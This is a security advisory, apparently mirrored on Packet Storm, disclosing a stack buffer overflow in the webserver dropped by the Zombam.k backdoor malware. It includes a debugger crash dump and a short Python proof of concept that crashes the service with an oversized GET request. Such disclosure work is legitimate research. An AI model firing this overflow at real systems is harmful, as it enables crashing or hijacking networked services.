what you don't know can hurt you

Backdoor.Win32.Zombam.k Stack Buffer Overflow

Backdoor.Win32.Zombam.k Stack Buffer Overflow
Posted Jan 5, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Zombam.k malware suffers from a remote string dereference stack buffer overflow vulnerability.

tags | exploit, remote, overflow
systems | windows
MD5 | 05421fbc3ad7da507f99f68ed1a1e1a0

Backdoor.Win32.Zombam.k Stack Buffer Overflow

Change Mirror Download
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/79d9908b6769e64f922e74a090f5ceeb.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.k
Vulnerability: Remote String Dereference Stack Buffer Overflow

Description: HTTP RAT 0.21 Backdoor Webserver By z0mbie, create's on the fly executable backdoors that can listen on various ports you specify. The main executable
then spits out a binary named "httpserver.exe" listening on the port specified in the backdoor creation steps. Sadly, the backdoor is vulnerable to stack buffer overflow
by sending a large HTTP GET request of 1000 bytes or so to the listening backdoor port.


Type: PE32
MD5: 79d9908b6769e64f922e74a090f5ceeb
Vuln ID: MVID-2021-0015
Dropped files: httpserver.exe

ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/4/2021

Memory Dump:
EAX : 0574FA40
EBX : 03FE02A0
ECX : 00000415 L'Е'
EDX : 41414141
EBP : 0574FA28
ESP : 0574F9F0
ESI : 03FE02A0
EDI : 00405076 httpserver.00405076
EIP : 00402906 httpserver.00402906


(12f4.e58): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0494fa20 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=0494f0bc ebp=0494f24c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h


0:004> .ecxr
eax=0494f9f0 ebx=04020300 ecx=0494fa20 edx=41414141 esi=04020300 edi=00405076
eip=0040292e esp=0494f9d8 ebp=0494fa28 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** WARNING: Unable to verify checksum for httpserver.exe
*** ERROR: Module load completed but symbols could not be loaded for httpserver.exe
httpserver+0x292e:
0040292e 8b4204 mov eax,dword ptr [edx+4] ds:002b:41414145=????????

FAULTING_IP:
httpserver+292e
0040292e 8b4204 mov eax,dword ptr [edx+4]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040292e (httpserver+0x0000292e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414145
Attempt to read from address 41414145

PROCESS_NAME: httpserver.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 41414145

READ_ADDRESS: 41414145

FOLLOWUP_IP:
httpserver+292e
0040292e 8b4204 mov eax,dword ptr [edx+4]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00000e58

BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 004024ce to 0040292e

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
0494fa28 004024ce 41414141 0494fa40 00000415 httpserver+0x292e
0494faa4 41414141 41414141 41414141 41414141 httpserver+0x24ce
0494faa8 41414141 41414141 41414141 41414141 0x41414141
0494faac 41414141 41414141 41414141 41414141 0x41414141
0494fab0 41414141 41414141 41414141 41414141 0x41414141
0494fab4 41414141 41414141 41414141 41414141 0x41414141


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=80

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

JUNK="A"*2000
PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Remote Buffer Overflow")
print("MD5: 79d9908b6769e64f922e74a090f5ceeb")
print("By Malvuln")



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

January 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    4 Files
  • 2
    Jan 2nd
    3 Files
  • 3
    Jan 3rd
    3 Files
  • 4
    Jan 4th
    33 Files
  • 5
    Jan 5th
    31 Files
  • 6
    Jan 6th
    21 Files
  • 7
    Jan 7th
    15 Files
  • 8
    Jan 8th
    19 Files
  • 9
    Jan 9th
    1 Files
  • 10
    Jan 10th
    1 Files
  • 11
    Jan 11th
    33 Files
  • 12
    Jan 12th
    19 Files
  • 13
    Jan 13th
    27 Files
  • 14
    Jan 14th
    8 Files
  • 15
    Jan 15th
    16 Files
  • 16
    Jan 16th
    1 Files
  • 17
    Jan 17th
    2 Files
  • 18
    Jan 18th
    20 Files
  • 19
    Jan 19th
    32 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close